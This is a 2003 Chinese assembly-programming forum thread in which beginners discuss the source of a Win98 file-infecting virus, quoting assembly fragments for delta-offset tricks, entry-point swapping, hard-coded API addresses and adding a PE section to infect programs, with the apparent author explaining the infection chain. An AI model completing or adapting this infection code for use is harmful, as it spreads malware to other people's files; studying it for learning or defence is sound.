看了win98病毒原理制作后,有很多问题和感想,大伙儿一起讨论讨论

ibanez550 2003-09-24 12:26:22
本人没编过汇编程序,对汇编指令也不了解,但是某天看了彬整理的文档,就是那个帮助大杂烩,简直太吸引人了,看了那篇暴力搜索api函数地址的文章,被深深的打动了,那种想法充满了想象力和创造力,还有那个exe自删除的做法,太神奇了。win98病毒制作原理的代码看了,有很多地方不清楚,特别是很多技巧性的地方,大伙儿能讨论讨论为什么这样写,还有其它的代替方法吗。其实估计有很多地方需要自己调试才能想通是怎么回事,大家都知道只有调试才能明白程序是怎么工作的,特别是程序执行的机制,请高手达人们说说调试的技巧(对我们菜鸟),先提出我现在有的疑问,大伙儿有的再加
因为只看了几天的汇编,提出的问题大家不要见笑,呵呵
1.BadDay SEGMENT PARA USE32 'BadDay'
assume cs:BadDay,ds:BadDay
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
这里use32指什么,不太明白,还有请高手详细讲解一下这个偏移差的原理
(call nstart
nstart:)这两句看到是为了迷惑反编译的,是这样吗
2.; * 更改程序入口地址 *
cmp now_basein[ebp],0
jnz gonext
mov now_basein[ebp],401000h
gonext:
cmp des_basein[ebp],0
jnz change
mov des_basein[ebp],401000h
change:
mov eax,now_basein[ebp]
push des_basein[ebp]
pop now_basein[ebp]
mov des_basein[ebp],eax
这里的401000h是怎么来的,不明白,change下的是两个地址对换,对吧
3.先跳过去问一个最迷惑的问题
vCreatefile:
mov jumpaddr[ebp],0BFF77B5BH
jmp jumpaddr[ebp]
象这个 函数的地址0BFF77B5BH怎么来的,还有
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile
详细讲解一下这种调用函数的方法,参数是怎么传递给函数的
先问到这儿吧,高手们给咱们讲讲课,呵呵
...全文
94 30 打赏 收藏 转发到动态 举报
写回复
用AI写文章
30 条回复
切换为时间正序
请发表友善的回复…
发表回复
kugou123 2004-01-31
  • 打赏
  • 举报
回复
给大家推荐CVC的第一期杂志,其中你们讨论的很多问题,在里面都有提到
http://www.logincom.com/cvc_issue1.chm
Aofa_lee 2004-01-30
  • 打赏
  • 举报
回复
我说的是病毒~
Aofa_lee 2004-01-30
  • 打赏
  • 举报
回复
你也想学写吗???
red-fly 2004-01-30
  • 打赏
  • 举报
回复
study hard.....
YiDing0413 2003-10-08
  • 打赏
  • 举报
回复
movzx的意思是mov后,不足的位数用0填充
ibanez550 2003-09-28
  • 打赏
  • 举报
回复
在增加新节那段代码有一些疑问,大家来看看
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--


movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader
add eax,18h
mov Section_addr[ebp],eax
;得到第一个节的地址

?????SizeOfOptionalHeader在PE里的说明是OptionalHeader的大小
那么再加18H是什么意思,也许Section_addr这个名字让我产生了歧义,呵呵

;------------------------------------(上面的)--

mov checker_len[ebp],offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--

movzx eax,PE_head[ebp].FileHeader.NumberOfSections
inc eax
mov ecx,28h
mul ecx
add eax,Section_addr[ebp]
add eax,PE_head_addr[ebp]
cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。

?????SizeOfHeaders在PE里的说明是所有头和节表的大小(文件大小减去所有节,没理解错的话),那么这儿所有节加上一个增加的节的大小加上Section_addr[ebp]和PE_head_addr[ebp](PE_head的偏移量)是什么意思

;------------------------------------(上面的)--

ja exitwrite
lea esi,Section_table[ebp]
movzx eax,PE_head[ebp].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add esi,eax
?????这儿是不是把偏移地址指在Section_table[ebp]变量后?
顺便问一下movzx和mov有多大区别

inc PE_head[ebp].FileHeader.NumberOfSections
lea edi,new_section[ebp]
xchg edi,esi
?????这儿我始终不明白为什么用xchg edi,esi这么一条指令,有什么技巧吗
;填加一个节

先提出这几个问题吧,还没看下去
NOV 2003-09-28
  • 打赏
  • 举报
回复
1:18H是IMAGE_NT_HEADERS里的Signature和IMAGE_FILE_HEADER的大小。
2:我也不太清楚,应该是要再减去文件的基地址后才和SizeOfOptionalHeader比较的。
3:你看一下它的定义,Section_table是紧跟在PE_head后面定义的。movzx,mov书上有说的。
4:你先别急,看看后面填充新节IMAGE_SECTION_HEADER结构那部分就知道了。
以上是个人理解,希望大家讨论。
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
伙伴们,这两天一直在看PE的教程
对PE大致了解了一下,等看完了再把随后的问题发上来
大伙儿看过源程序的有问题的也可以提出来啊,大家可以互相切磋提高阿
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to vBin(彬):
对你只有说感谢了,呵呵
这些充满想象力的方法就像用八个手指点弦一样吸引人,
敬礼
vBin 2003-09-26
  • 打赏
  • 举报
回复
API函数在内存中的地址跟CPU没有无系!
是与你的系统版本有关的!
发果我跟你用的是相同版本的WINDOWS系统,那我们的API函数在内存中的地址是一样的!

可以通过调试的方法得到。
如:写个程序 call MessageBox。
然后在SOFTICE中,bpx MessageBox
不就能跟到函数的地址了吗?
看雪的网站上也有软件下载,可以得到本机的API函数在内存中的地址!
W32API 2003-09-26
  • 打赏
  • 举报
回复
针对特定的环境所得出的一种类似规律。。。
有这些东西存在的时候,必然会出现只可适用特定范围的情况。
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to blooney(野比) :
已经发给你了,请查收,有空交流一下啊
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to YiDing0413(一丁):
非常感谢丁丁详细耐心的讲解,敬礼,呵呵
第一个问题明白了
第二,第三个问题看了后面彬的回答更明白了
总之你是高手一定要关注后面的发展啊
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to cwanter(亚玛逊河上的渔夫);
非常感谢,讲的非常清楚明白,真的太好了,这个论坛也很棒
关于硬编码的详细地址是怎么得来的,这在不同的cpu上计算出的地址应该不一样吧
这样的地址是不是用调试的方法试出来的
vBin 2003-09-26
  • 打赏
  • 举报
回复
写的代码很不规范,不好意思。

1、其它朋友们说得已经很详细了
2、其实问题是这样的。
举个例子说明一下吧,会更容易理解:
A程序是刚刚编译好的此病毒程序
B、C程序是干净的!

当A程序感染B程序时会将B程序的入口地址存到des_basein中
当B程序感染C程序时,在感染过程中,B程序会从des_basein中取出自己
以前的入口地址并放到now_basein暂为存储。之后再将C程序的入口
地址存到des_basein中。病毒程序运行完后,利用暂存的now_basein跳回
源程序入口

就这样,一直循环下去....


cmp now_basein[ebp],0
jnz gonext
mov now_basein[ebp],401000h
gonext:

cmp des_basein[ebp],0
jnz change
mov des_basein[ebp],401000h
change:

这8行,只在病毒编译好后,第一次运行时才会派上用场。那时des_basein
内的内容肯定为0,所以才赋一个401000地址!
或许你会问,为什么要赋401000这个数呢?因为我调试过,用MASM编译后
没有进行特别的处理,入口地址都会在401000处。
(PS:其实这8行很罗索!完全可以简单一点。)

3、vCreatefile:
mov jumpaddr[ebp],0BFF77B5BH
jmp jumpaddr[ebp]
0BFF77B5BH这个地址,是编写程序时我所用的系统内CreateFile函数所在的内存地址!
你可以通过一些软件得到这个地址!
你也可以通过其它方法得到API函数的地址,像“自建(导)引入表“或“暴力搜索内存空间获得 Api 的线性地址“等
这两篇文章都可以从CHM文档中看到!

参数是怎么传递给函数的已经有网友朋友介绍过了。








tanguangzhang 2003-09-26
  • 打赏
  • 举报
回复
来报到一下,大家继续谈论吧,我正听得津津有味呢~~~!
如果多点这方面的话题该多好啊!
继续关注!
^-^!
blooney 2003-09-26
  • 打赏
  • 举报
回复
to ibanez550(愤怒的荷包蛋) :
我的邮箱blooney@sohu.com谢谢了 啊
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
第二个问题有高人能讲讲吗
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
to blooney:
告诉我邮箱,我发给你
顺便说一句,你的昵称(没理解错的话)太牛了吧= =!!!!
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
to BraveHeart2222:
原来是这样啊,明白了
very三颗油
加载更多回复(10)

21,458

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧